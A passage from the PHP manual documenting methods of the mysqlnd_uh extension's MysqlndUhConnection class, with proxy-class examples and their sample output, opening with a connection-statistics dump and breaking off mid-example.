  'mem_strdup_count' => '0',
  'proto_text_fetched_null' => '0',
  'proto_text_fetched_bit' => '0',
  'proto_text_fetched_tinyint' => '0',
  'proto_text_fetched_short' => '0',
  'proto_text_fetched_int24' => '0',
  'proto_text_fetched_int' => '0',
  'proto_text_fetched_bigint' => '0',
  'proto_text_fetched_decimal' => '0',
  'proto_text_fetched_float' => '0',
  'proto_text_fetched_double' => '0',
  'proto_text_fetched_date' => '0',
  'proto_text_fetched_year' => '0',
  'proto_text_fetched_time' => '0',
  'proto_text_fetched_datetime' => '0',
  'proto_text_fetched_timestamp' => '0',
  'proto_text_fetched_string' => '0',
  'proto_text_fetched_blob' => '0',
  'proto_text_fetched_enum' => '0',
  'proto_text_fetched_set' => '0',
  'proto_text_fetched_geometry' => '0',
  'proto_text_fetched_other' => '0',
  'proto_binary_fetched_null' => '0',
  'proto_binary_fetched_bit' => '0',
  'proto_binary_fetched_tinyint' => '0',
  'proto_binary_fetched_short' => '0',
  'proto_binary_fetched_int24' => '0',
  'proto_binary_fetched_int' => '0',
  'proto_binary_fetched_bigint' => '0',
  'proto_binary_fetched_decimal' => '0',
  'proto_binary_fetched_float' => '0',
  'proto_binary_fetched_double' => '0',
  'proto_binary_fetched_date' => '0',
  'proto_binary_fetched_year' => '0',
  'proto_binary_fetched_time' => '0',
  'proto_binary_fetched_datetime' => '0',
  'proto_binary_fetched_timestamp' => '0',
  'proto_binary_fetched_string' => '0',
  'proto_binary_fetched_blob' => '0',
  'proto_binary_fetched_enum' => '0',
  'proto_binary_fetched_set' => '0',
  'proto_binary_fetched_geometry' => '0',
  'proto_binary_fetched_other' => '0',
  'init_command_executed_count' => '0',
  'init_command_failed_count' => '0',
  'com_quit' => '0',
  'com_init_db' => '0',
  'com_query' => '0',
  'com_field_list' => '0',
  'com_create_db' => '0',
  'com_drop_db' => '0',
  'com_refresh' => '0',
  'com_shutdown' => '0',
  'com_statistics' => '0',
  'com_process_info' => '0',
  'com_connect' => '0',
  'com_process_kill' => '0',
  'com_debug' => '0',
  'com_ping' => '0',
  'com_time' => '0',
  'com_delayed_insert' => '0',
  'com_change_user' => '0',
  'com_binlog_dump' => '0',
  'com_table_dump' => '0',
  'com_connect_out' => '0',
  'com_register_slave' => '0',
  'com_stmt_prepare' => '0',
  'com_stmt_execute' => '0',
  'com_stmt_send_long_data' => '0',
  'com_stmt_close' => '0',
  'com_stmt_reset' => '0',
  'com_stmt_set_option' => '0',
  'com_stmt_fetch' => '0',
  'com_deamon' => '0',
  'bytes_received_real_data_normal' => '0',
  'bytes_received_real_data_ps' => '0',
)
array(160) {
  ["bytes_sent"]=>
  string(2) "73"
  ["bytes_received"]=>
  string(2) "77"
  ["packets_sent"]=>
  string(1) "2"
  ["packets_received"]=>
  string(1) "2"
  ["protocol_overhead_in"]=>
  string(1) "8"
  ["protocol_overhead_out"]=>
  string(1) "8"
  ["bytes_received_ok_packet"]=>
  string(1) "0"
  ["bytes_received_eof_packet"]=>
  string(1) "0"
  ["bytes_received_rset_header_packet"]=>
  string(1) "0"
  ["bytes_received_rset_field_meta_packet"]=>
  string(1) "0"
  ["bytes_received_rset_row_packet"]=>
  string(1) "0"
  ["bytes_received_prepare_response_packet"]=>
  string(1) "0"
  ["bytes_received_change_user_packet"]=>
  string(1) "0"
  ["packets_sent_command"]=>
  string(1) "0"
  ["packets_received_ok"]=>
  string(1) "0"
  ["packets_received_eof"]=>
  string(1) "0"
  ["packets_received_rset_header"]=>
  string(1) "0"
  ["packets_received_rset_field_meta"]=>
  string(1) "0"
  ["packets_received_rset_row"]=>
  string(1) "0"
  ["packets_received_prepare_response"]=>
  string(1) "0"
  ["packets_received_change_user"]=>
  string(1) "0"
  ["result_set_queries"]=>
  string(1) "0"
  ["non_result_set_queries"]=>
  string(1) "0"
  ["no_index_used"]=>
  string(1) "0"
  ["bad_index_used"]=>
  string(1) "0"
  ["slow_queries"]=>
  string(1) "0"
  ["buffered_sets"]=>
  string(1) "0"
  ["unbuffered_sets"]=>
  string(1) "0"
  ["ps_buffered_sets"]=>
  string(1) "0"
  ["ps_unbuffered_sets"]=>
  string(1) "0"
  ["flushed_normal_sets"]=>
  string(1) "0"
  ["flushed_ps_sets"]=>
  string(1) "0"
  ["ps_prepared_never_executed"]=>
  string(1) "0"
  ["ps_prepared_once_executed"]=>
  string(1) "0"
  ["rows_fetched_from_server_normal"]=>
  string(1) "0"
  ["rows_fetched_from_server_ps"]=>
  string(1) "0"
  ["rows_buffered_from_client_normal"]=>
  string(1) "0"
  ["rows_buffered_from_client_ps"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_cursor"]=>
  string(1) "0"
  ["rows_affected_normal"]=>
  string(1) "0"
  ["rows_affected_ps"]=>
  string(1) "0"
  ["rows_skipped_normal"]=>
  string(1) "0"
  ["rows_skipped_ps"]=>
  string(1) "0"
  ["copy_on_write_saved"]=>
  string(1) "0"
  ["copy_on_write_performed"]=>
  string(1) "0"
  ["command_buffer_too_small"]=>
  string(1) "0"
  ["connect_success"]=>
  string(1) "1"
  ["connect_failure"]=>
  string(1) "0"
  ["connection_reused"]=>
  string(1) "0"
  ["reconnect"]=>
  string(1) "0"
  ["pconnect_success"]=>
  string(1) "0"
  ["active_connections"]=>
  string(1) "1"
  ["active_persistent_connections"]=>
  string(1) "0"
  ["explicit_close"]=>
  string(1) "0"
  ["implicit_close"]=>
  string(1) "0"
  ["disconnect_close"]=>
  string(1) "0"
  ["in_middle_of_command_close"]=>
  string(1) "0"
  ["explicit_free_result"]=>
  string(1) "0"
  ["implicit_free_result"]=>
  string(1) "0"
  ["explicit_stmt_close"]=>
  string(1) "0"
  ["implicit_stmt_close"]=>
  string(1) "0"
  ["mem_emalloc_count"]=>
  string(1) "0"
  ["mem_emalloc_amount"]=>
  string(1) "0"
  ["mem_ecalloc_count"]=>
  string(1) "0"
  ["mem_ecalloc_amount"]=>
  string(1) "0"
  ["mem_erealloc_count"]=>
  string(1) "0"
  ["mem_erealloc_amount"]=>
  string(1) "0"
  ["mem_efree_count"]=>
  string(1) "0"
  ["mem_efree_amount"]=>
  string(1) "0"
  ["mem_malloc_count"]=>
  string(1) "0"
  ["mem_malloc_amount"]=>
  string(1) "0"
  ["mem_calloc_count"]=>
  string(1) "0"
  ["mem_calloc_amount"]=>
  string(1) "0"
  ["mem_realloc_count"]=>
  string(1) "0"
  ["mem_realloc_amount"]=>
  string(1) "0"
  ["mem_free_count"]=>
  string(1) "0"
  ["mem_free_amount"]=>
  string(1) "0"
  ["mem_estrndup_count"]=>
  string(1) "0"
  ["mem_strndup_count"]=>
  string(1) "0"
  ["mem_estndup_count"]=>
  string(1) "0"
  ["mem_strdup_count"]=>
  string(1) "0"
  ["proto_text_fetched_null"]=>
  string(1) "0"
  ["proto_text_fetched_bit"]=>
  string(1) "0"
  ["proto_text_fetched_tinyint"]=>
  string(1) "0"
  ["proto_text_fetched_short"]=>
  string(1) "0"
  ["proto_text_fetched_int24"]=>
  string(1) "0"
  ["proto_text_fetched_int"]=>
  string(1) "0"
  ["proto_text_fetched_bigint"]=>
  string(1) "0"
  ["proto_text_fetched_decimal"]=>
  string(1) "0"
  ["proto_text_fetched_float"]=>
  string(1) "0"
  ["proto_text_fetched_double"]=>
  string(1) "0"
  ["proto_text_fetched_date"]=>
  string(1) "0"
  ["proto_text_fetched_year"]=>
  string(1) "0"
  ["proto_text_fetched_time"]=>
  string(1) "0"
  ["proto_text_fetched_datetime"]=>
  string(1) "0"
  ["proto_text_fetched_timestamp"]=>
  string(1) "0"
  ["proto_text_fetched_string"]=>
  string(1) "0"
  ["proto_text_fetched_blob"]=>
  string(1) "0"
  ["proto_text_fetched_enum"]=>
  string(1) "0"
  ["proto_text_fetched_set"]=>
  string(1) "0"
  ["proto_text_fetched_geometry"]=>
  string(1) "0"
  ["proto_text_fetched_other"]=>
  string(1) "0"
  ["proto_binary_fetched_null"]=>
  string(1) "0"
  ["proto_binary_fetched_bit"]=>
  string(1) "0"
  ["proto_binary_fetched_tinyint"]=>
  string(1) "0"
  ["proto_binary_fetched_short"]=>
  string(1) "0"
  ["proto_binary_fetched_int24"]=>
  string(1) "0"
  ["proto_binary_fetched_int"]=>
  string(1) "0"
  ["proto_binary_fetched_bigint"]=>
  string(1) "0"
  ["proto_binary_fetched_decimal"]=>
  string(1) "0"
  ["proto_binary_fetched_float"]=>
  string(1) "0"
  ["proto_binary_fetched_double"]=>
  string(1) "0"
  ["proto_binary_fetched_date"]=>
  string(1) "0"
  ["proto_binary_fetched_year"]=>
  string(1) "0"
  ["proto_binary_fetched_time"]=>
  string(1) "0"
  ["proto_binary_fetched_datetime"]=>
  string(1) "0"
  ["proto_binary_fetched_timestamp"]=>
  string(1) "0"
  ["proto_binary_fetched_string"]=>
  string(1) "0"
  ["proto_binary_fetched_blob"]=>
  string(1) "0"
  ["proto_binary_fetched_enum"]=>
  string(1) "0"
  ["proto_binary_fetched_set"]=>
  string(1) "0"
  ["proto_binary_fetched_geometry"]=>
  string(1) "0"
  ["proto_binary_fetched_other"]=>
  string(1) "0"
  ["init_command_executed_count"]=>
  string(1) "0"
  ["init_command_failed_count"]=>
  string(1) "0"
  ["com_quit"]=>
  string(1) "0"
  ["com_init_db"]=>
  string(1) "0"
  ["com_query"]=>
  string(1) "0"
  ["com_field_list"]=>
  string(1) "0"
  ["com_create_db"]=>
  string(1) "0"
  ["com_drop_db"]=>
  string(1) "0"
  ["com_refresh"]=>
  string(1) "0"
  ["com_shutdown"]=>
  string(1) "0"
  ["com_statistics"]=>
  string(1) "0"
  ["com_process_info"]=>
  string(1) "0"
  ["com_connect"]=>
  string(1) "0"
  ["com_process_kill"]=>
  string(1) "0"
  ["com_debug"]=>
  string(1) "0"
  ["com_ping"]=>
  string(1) "0"
  ["com_time"]=>
  string(1) "0"
  ["com_delayed_insert"]=>
  string(1) "0"
  ["com_change_user"]=>
  string(1) "0"
  ["com_binlog_dump"]=>
  string(1) "0"
  ["com_table_dump"]=>
  string(1) "0"
  ["com_connect_out"]=>
  string(1) "0"
  ["com_register_slave"]=>
  string(1) "0"
  ["com_stmt_prepare"]=>
  string(1) "0"
  ["com_stmt_execute"]=>
  string(1) "0"
  ["com_stmt_send_long_data"]=>
  string(1) "0"
  ["com_stmt_close"]=>
  string(1) "0"
  ["com_stmt_reset"]=>
  string(1) "0"
  ["com_stmt_set_option"]=>
  string(1) "0"
  ["com_stmt_fetch"]=>
  string(1) "0"
  ["com_deamon"]=>
  string(1) "0"
  ["bytes_received_real_data_normal"]=>
  string(1) "0"
  ["bytes_received_real_data_ps"]=>
  string(1) "0"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_connection_stats() - Returns statistics about the client connection

User Contributed Notes

There are no user contributed notes for this page.


Returns the thread ID for the current connection

  • « MysqlndUhConnection::getStatistics
  • MysqlndUhConnection::getWarningCount »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the thread ID for the current connection

MysqlndUhConnection::getThreadId

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection

Description

public int MysqlndUhConnection::getThreadId ( mysqlnd_connection $connection )

Returns the thread ID for the current connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection thread id.

Examples

Example #1 MysqlndUhConnection::getThreadId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getThreadId($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getThreadId($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->thread_id);
?>

The above example will output:

proxy::getThreadId(array (
  0 => NULL,
))
proxy::getThreadId returns 27646
int(27646)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_thread_id() - Returns the thread ID for the current connection
  • mysql_thread_id() - Return the current thread ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of warnings from the last query for the given link

  • « MysqlndUhConnection::getThreadId
  • MysqlndUhConnection::init »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the number of warnings from the last query for the given link

MysqlndUhConnection::getWarningCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link

Description

public int MysqlndUhConnection::getWarningCount ( mysqlnd_connection $connection )

Returns the number of warnings from the last query for the given link.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of warnings.

Examples

Example #1 MysqlndUhConnection::getWarningCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getWarningCount($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getWarningCount($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->warning_count);
?>

The above example will output:

proxy::getWarningCount(array (
  0 => NULL,
))
proxy::getWarningCount returns 0
int(0)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_warning_count() - Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.


Initialize mysqlnd connection

  • « MysqlndUhConnection::getWarningCount
  • MysqlndUhConnection::killConnection »
  • PHP Manual
  • MysqlndUhConnection
  • Initialize mysqlnd connection

MysqlndUhConnection::init

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::init — Initialize mysqlnd connection

Description

public bool MysqlndUhConnection::init ( mysqlnd_connection $connection )

Initialize mysqlnd connection. This is an mysqlnd internal call to initialize the connection object.

Note:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::init() example

<?php
class proxy extends MysqlndUhConnection {
 public function init($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::init($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::init(array (
  0 => NULL,
))
proxy::init returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Asks the server to kill a MySQL thread

  • « MysqlndUhConnection::init
  • MysqlndUhConnection::listFields »
  • PHP Manual
  • MysqlndUhConnection
  • Asks the server to kill a MySQL thread

MysqlndUhConnection::killConnection

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread

Description

public bool MysqlndUhConnection::killConnection ( mysqlnd_connection $connection , int $pid )

Asks the server to kill a MySQL thread.

Parameters

connection

Mysqlnd connection handle. Do not modify!

pid

Thread Id of the connection to be killed.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::kill() example

<?php
class proxy extends MysqlndUhConnection {
 public function killConnection($res, $pid) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::killConnection($res, $pid);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->kill($mysqli->thread_id);
?>

The above example will output:

proxy::killConnection(array (
  0 => NULL,
  1 => 27650,
))
proxy::killConnection returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_kill() - Asks the server to kill a MySQL thread

User Contributed Notes

There are no user contributed notes for this page.


List MySQL table fields

  • « MysqlndUhConnection::killConnection
  • MysqlndUhConnection::listMethod »
  • PHP Manual
  • MysqlndUhConnection
  • List MySQL table fields

MysqlndUhConnection::listFields

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listFields — List MySQL table fields

Description

public array MysqlndUhConnection::listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild )

List MySQL table fields.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

table

The name of the table that's being queried.

pattern

Name pattern.

Return Values

Examples

Example #1 MysqlndUhConnection::listFields() example

<?php
class proxy extends MysqlndUhConnection {
 public function listFields($res, $table, $pattern) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listFields($res, $table, $pattern);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
mysql_select_db("test", $mysql);
mysql_query("DROP TABLE IF EXISTS test_a", $mysql);
mysql_query("CREATE TABLE test_a(id INT, col1 VARCHAR(255))", $mysql);
$res = mysql_list_fields("test", "test_a", $mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

The above example will output:

proxy::listFields(array (
  0 => NULL,
  1 => 'test_a',
  2 => '',
))
proxy::listFields returns NULL
num_rows = 0

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_fields() - List MySQL table fields

User Contributed Notes

There are no user contributed notes for this page.


Wrapper for assorted list commands

  • « MysqlndUhConnection::listFields
  • MysqlndUhConnection::moreResults »
  • PHP Manual
  • MysqlndUhConnection
  • Wrapper for assorted list commands

MysqlndUhConnection::listMethod

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listMethod — Wrapper for assorted list commands

Description

public void MysqlndUhConnection::listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 )

Wrapper for assorted list commands.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

SHOW command to be executed.

achtung_wild

par1

Return Values

Return Values

TODO

Examples

Example #1 MysqlndUhConnection::listMethod() example

<?php
class proxy extends MysqlndUhConnection {
 public function listMethod($res, $query, $pattern, $par1) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listMethod($res, $query, $pattern, $par1);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
$res = mysql_list_dbs($mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

The above example will output:

proxy::listMethod(array (
  0 => NULL,
  1 => 'SHOW DATABASES',
  2 => '',
  3 => '',
))
proxy::listMethod returns NULL
num_rows = 6
array(1) {
  ["Database"]=>
  string(18) "information_schema"
}
array(1) {
  ["Database"]=>
  string(5) "mysql"
}
array(1) {
  ["Database"]=>
  string(8) "oxid_new"
}
array(1) {
  ["Database"]=>
  string(7) "phptest"
}
array(1) {
  ["Database"]=>
  string(7) "pushphp"
}
array(1) {
  ["Database"]=>
  string(4) "test"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_dbs() - List databases available on a MySQL server

User Contributed Notes

There are no user contributed notes for this page.


Check if there are any more query results from a multi query

  • « MysqlndUhConnection::listMethod
  • MysqlndUhConnection::nextResult »
  • PHP Manual
  • MysqlndUhConnection
  • Check if there are any more query results from a multi query

MysqlndUhConnection::moreResults

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query

Description

public bool MysqlndUhConnection::moreResults ( mysqlnd_connection $connection )

Check if there are any more query results from a multi query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::moreResults() example

<?php
class proxy extends MysqlndUhConnection {
 public function moreResults($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::moreResults($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns false

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_more_results() - Check if there are any more query results from a multi query

User Contributed Notes

There are no user contributed notes for this page.


Prepare next result from multi_query

  • « MysqlndUhConnection::moreResults
  • MysqlndUhConnection::ping »
  • PHP Manual
  • MysqlndUhConnection
  • Prepare next result from multi_query

MysqlndUhConnection::nextResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::nextResult — Prepare next result from multi_query

Description

public bool MysqlndUhConnection::nextResult ( mysqlnd_connection $connection )

Prepare next result from multi_query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::nextResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function nextResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::nextResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

The above example will output:

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::nextResult(array (
  0 => NULL,
))
proxy::nextResult returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_next_result() - Prepare next result from multi_query

User Contributed Notes

There are no user contributed notes for this page.


Pings a server connection, or tries to reconnect if the connection has gone down

  • « MysqlndUhConnection::nextResult
  • MysqlndUhConnection::query »
  • PHP Manual
  • MysqlndUhConnection
  • Pings a server connection, or tries to reconnect if the connection has gone down

MysqlndUhConnection::ping

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

public bool MysqlndUhConnection::ping ( mysqlnd_connection $connection )

Pings a server connection, or tries to reconnect if the connection has gone down.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::ping() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

The above example will output:

proxy::ping(array (
  0 => NULL,
))
proxy::ping returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ping() - Pings a server connection, or tries to reconnect if the connection has gone down
  • mysql_ping() - Ping a server connection or reconnect if there is no connection

User Contributed Notes

There are no user contributed notes for this page.


Performs a query on the database

  • « MysqlndUhConnection::ping
  • MysqlndUhConnection::queryReadResultsetHeader »
  • PHP Manual
  • MysqlndUhConnection
  • Performs a query on the database

MysqlndUhConnection::query

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::query — Performs a query on the database

Description

public bool MysqlndUhConnection::query ( mysqlnd_connection $connection , string $query )

Performs a query on the database (COM_QUERY).

Parameters

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::query() example

<?php
class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'How about query rewriting?'";
  $ret = parent::query($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Welcome mysqlnd_uh!\' FROM DUAL',
))
proxy::query returns true
array(1) {
  ["How about query rewriting?"]=>
  string(26) "How about query rewriting?"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_query() - Performs a query on the database
  • mysql_query() - Send a MySQL query

User Contributed Notes

There are no user contributed notes for this page.


Read a result set header

  • « MysqlndUhConnection::query
  • MysqlndUhConnection::reapQuery »
  • PHP Manual
  • MysqlndUhConnection
  • Read a result set header

MysqlndUhConnection::queryReadResultsetHeader

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::queryReadResultsetHeader — Read a result set header

Description

public bool MysqlndUhConnection::queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt )

Read a result set header.

Parameters

connection

Mysqlnd connection handle. Do not modify!

mysqlnd_stmt

Mysqlnd statement handle. Do not modify! Set to NULL, if function is not used in the context of a prepared statement.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::queryReadResultsetHeader() example

<?php
class proxy extends MysqlndUhConnection {
 public function queryReadResultsetHeader($res, $stmt) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::queryReadResultsetHeader($res, $stmt);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::queryReadResultsetHeader(array (
  0 => NULL,
  1 => NULL,
))
proxy::queryReadResultsetHeader returns true
array(1) {
  ["Welcome mysqlnd_uh!"]=>
  string(19) "Welcome mysqlnd_uh!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Get result from async query

  • « MysqlndUhConnection::queryReadResultsetHeader
  • MysqlndUhConnection::refreshServer »
  • PHP Manual
  • MysqlndUhConnection
  • Get result from async query

MysqlndUhConnection::reapQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::reapQuery — Get result from async query

Description

public bool MysqlndUhConnection::reapQuery ( mysqlnd_connection $connection )

Get result from async query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::reapQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function reapQuery($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::reapQuery($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$conn1 = new mysqli("localhost", "root", "", "test");
$conn2 = new mysqli("localhost", "root", "", "test");

$conn1->query("SELECT 1 as 'one', SLEEP(1) AS _sleep FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);
$conn2->query("SELECT 1.1 as 'one dot one' FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);

$links = array(
 $conn1->thread_id => array('link' => $conn1, 'processed' => false),
 $conn2->thread_id => array('link' => $conn2, 'processed' => false)
);

$saved_errors = array();
do {
 $poll_links = $poll_errors = $poll_reject = array();
 foreach ($links as $thread_id => $link) {
  if (!$link['processed']) {
   $poll_links[] = $link['link'];
   $poll_errors[] = $link['link'];
   $poll_reject[] = $link['link'];
  }
 }
 if (0 == count($poll_links))
  break;

 if (0 == ($num_ready = mysqli_poll($poll_links, $poll_errors, $poll_reject, 0, 200000)))
  continue;

 if (!empty($poll_errors)) {
  die(var_dump($poll_errors));
 }

 foreach ($poll_links as $link) {
  $thread_id = mysqli_thread_id($link);
  $links[$thread_id]['processed'] = true;

  if (is_object($res = mysqli_reap_async_query($link))) {
   // result set object
   while ($row = mysqli_fetch_assoc($res)) {
    // eat up all results
    var_dump($row);
   }
   mysqli_free_result($res);
  } else {
